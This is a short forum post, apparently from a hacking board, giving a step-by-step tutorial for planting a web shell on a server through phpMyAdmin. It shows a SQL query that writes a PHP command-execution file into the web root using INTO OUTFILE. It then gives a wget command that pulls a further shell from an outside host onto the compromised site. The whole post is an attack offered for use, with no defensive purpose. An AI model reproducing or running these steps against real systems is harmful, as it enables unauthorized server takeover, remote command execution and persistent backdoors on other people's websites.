Members Login
Username 
 
Password 
    Remember Me  
Post Info TOPIC: اختراق phpadmin


Senior Member

Status: Offline
Posts: 326
Date:
اختراق phpadmin
Permalink Closed


Hello,

In this tutorial I will show you how to put your shell via phpmyadmin.

To begin, you must look in the phpinfo() line "document_root" :
[Image: 59a46771f3.jpg]
This will help us later.

After, in phpmyadmin, go to a database or create one.

Go into the SQL tab and put :

PHP Code:
SELECT '<?php system($_GET[cmd]) ?>' INTO OUTFILE '\DOCUMENT_ROOT\cmd.php' 

[Image: 6ae675a463.jpg]

Once this is done your document "cmd.php" is created.
[Image: e0ae94fd30.jpg]
You can list files and directories with the ls command (if the site is under linux)

To upload your shell must use the command wget.
[Image: b0c5eee936.jpg]
wget http://server.com/shell.txt > yourfile.php

And now, your shell is on the server.
[Image: 3fc80ff415.jpg]

Sorry for my bad English.

Loadz.



__________________
Page 1 of 1  sorted by
 
Quick Reply

Please log in to post quick replies.

Tweet this page Post to Digg Post to Del.icio.us


Create your own FREE Forum
Report Abuse
Powered by ActiveBoard